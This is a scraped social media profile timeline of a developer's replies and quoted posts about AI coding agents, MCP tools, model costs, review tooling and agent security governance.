Isaac
460 posts
Isaac
@Dever401
Building things from scratch | AI tools & dev infra | Always shipping Portfolio:- https://t.co/fASmWbJhCl
localhost Katılım Temmuz 2025
31 Takip Edilen50 Takipçiler
@hadd49590 @nghoihin Typed graph context feels much more durable than dumping chat history into a prompt. The hard product problem is versioning the schema as team language changes without making every agent integration brittle.
English
@imog @HackingDave This is the part teams will have to operationalize: model routing by task type, MCP/API cost visibility, and a hard split between planning, execution, and verification. Otherwise agent workflows quietly become a huge bill.
English
@HackingDave Gpt5.5 is expensive for ITOps work. I've completely transitioned to managing our estate via MCP/API, and on a teams plan ccusage pins me at $100-200/day, and im mitigating by using sonnet for execution and opus for planning. Moving to API... They arent ready for $100-200/day.
English
This is surprising to me, first - GPT 5.5 is a better model than Opus 4.7, and second - the granular enterprise controls you get in OpenAI is way better than the virtually non-existent administrative controls over at Anthropic.
Andrew Curran@AndrewCurran_
According to the new data from Ramp, Anthropic has passed OpenAI in business adoption for the first time. 'Adoption of Anthropic rose 3.8% in April to 34.4% of businesses. OpenAl adoption fell 2.9% to 32.3%. Overall Al adoption rose 0.2 percentage points to 50.6%.'
English
@narghev @DanielSmidstrup Attaching the diff viewer to the same session that made the change is smart. The review question is rarely just ?what changed?? It is ?why did the agent think this change solved the task??
English
Sometimes.. and I am currently working on a tool that helps with the times that I want/have to. Its still WIP but would love more eyes on it.
It opens up a diff viewer attached to the same Claude session that wrote the code, to remove the step of copy pasting diff back to the session.
github.com/narghev/askdiff
English
Are you checking every line of code written by AI?
English
@dhruv___anand This is the missing layer for multi-agent coding. Once sessions run across Codex, Claude Code, Cursor, and friends, the review surface matters as much as the agent: search, diffs, thinking blocks, and sub-agent trace all in one place.
English
Built a unified viewer for all your AI coding sessions — Claude Code, Cursor, Codex, OpenCode, Hermes, and more in one UI.
Live updates · thread search · thinking blocks · sub-agents · Pretty mode with diff cards
▎npx agent-session-viewer
github.com/dhruv-anand-ai…
Try it out!
English
@princedoesai This is the right security direction. Once agents can pull packages, call MCP tools, and edit repos, the governance layer has to sit in the workflow itself, not as a PDF policy downstream.
English
🚨 Breaking News
Endor Labs launched AURI Agent Governance and Package Firewall on May 12 to secure AI coding agents and workstations.
The detail: Agent Governance monitors agents, models and MCP tools, while Package Firewall blocks risky packages before they reach agent workflows.
Better move:
Treat coding agents like privileged dev environments.
Watch shell commands.
Test .env access.
Compare MCP usage.
Save audit trails.
Block fresh suspect packages.
Ignore agent speed without controls.
The bigger pattern:
AI coding is becoming infrastructure.
Security has to move into the agent run, not after the PR.
endorlabs.com/learn/introduc…
English
@Ebasrai22 @Lovable Voice plus MCP is powerful when the tool boundary is clear. The best flow is usually: say the intent, let the agent touch the right system, then inspect a small diff or preview before anything gets too real.
English
@andyhennie @adamsilverman This feels like the quiet version of agentic software that will actually stick: small local jobs, skills written around real pain points, and enough visibility that you can trust the automation without babysitting it.
English
@adamsilverman All Hermes cron jobs running on my main machine, running skills written by codex, after I voice prompted my pain points.
English
Anyone have a mac mini that is running 24/7 doing something productive?
Everyone I talk to has bought one and it is only used a few minutes a day when they ask basic questions to it.
English
@Stephansmith456 Exactly. Build in public works when the receipts are visible: what shipped, what broke, what changed your mind, and what the next smallest bet is. Polished certainty is less useful than honest momentum.
English
@Dever401 Exactly.
People trust momentum more than perfection.
The more transparent you are about:
what worked,
what failed,
what you learned,
and what you’re shipping next,
the more real the journey feels.
That’s what actually makes Build in Public powerful.
English
I failed 3 times trying to figure out Build in Public. The lesson? Stop overcomplicating. Keep it simple. Keep shipping.
English
@aniongithub Yes. The review layer needs deterministic anchors: test results, coverage deltas, lint/type status, repro steps, and changed-file risk. More prompting helps, but metrics are what keep the review from becoming vibes.
English
@Dever401 Totally agree! And in my experience, a large part of keeping review quality stable is to have objective, reproducible metrics as part of the review, not just more AI prompting (as this is inherently stochastic) 🙌
English
@bettercallsalva @OpenAI Yes. The model gets the headline, but the durable work is the harness: permissions, evals, rollback, audit trails, and enough observability that a team can trust the output under pressure.
English
Today we’re launching the OpenAI Deployment Company to help businesses build and deploy AI.
It's majority-owned and controlled by OpenAI. It brings together 19 leading investment firms, consultancies, and system integrators to help organizations deploy frontier AI to production for business impact. openai.com/index/openai-l…
English
@OpenAI says Codex now works directly in Chrome and runs in parallel across tabs. That is the real shift. AI coding tools are becoming workflow tools, not just code assistants. x.com/OpenAI/status/…
OpenAI@OpenAI
Codex now works directly in Chrome on macOS and Windows. It’s even better at working with apps and sites in Chrome, and now works in parallel across tabs in the background without taking over your browser. To get started, install the Chrome plugin in the Codex app.
English
@SuperFunicular @claudeai Exactly. The hard part is not generating another patch; it is knowing which session still has the latest mental model. I would love tools to make lineage and confidence obvious at a glance.
English
@Dever401 @claudeai The 'which thread is safe to resume' hits hardest. One Camera2 fix branching to three sessions — the tax wasn't writing code, it was tracking which session held the latest mental model. App I shipped this way: play.google.com/store/apps/det…
English
@liuzhengyanshuo @FahimTajwar10 @askalphaxiv That is a great way to frame it. A handoff should preserve the original question, the evidence trail, and the reason each constraint mattered; otherwise the next model optimizes for a slightly different problem.
English
@Dever401 @FahimTajwar10 @askalphaxiv the hidden cost is losing the question shape during the switch. once the query gets rephrased a few times, the evidence trail starts drifting.
English
Please check out this super cool work from @askalphaxiv ! I really enjoyed reading the detailed blog, hope to see more cool things from them.
alphaXiv@askalphaxiv
Reinforcing Recursive Language Models Can a 4B model learn to recursively call itself to answer hard long-context questions? We RL fine-tuned a small model to behave as a native RLM. On evidence selection across scientific papers, our 4B RLM matches Sonnet 4.6 in quality while running significantly faster and cheaper.
English
@notmissing_ Fair critique, and I appreciate the directness. The goal is useful, specific replies that still sound like someone actually read the post. When it misses that, it is worth calling out.
English
@Dever401 I mean that it was an AI generated reply, think you could work on make it sound more human
No hate, just giving my pov
English
Operators reading the claude vs codex debate:
this isn't your decision to make
What matters is that the AI in your business uses whichever model fits each task
swaps when something better comes out
and never locks you into one provider's pricing or rate limits
English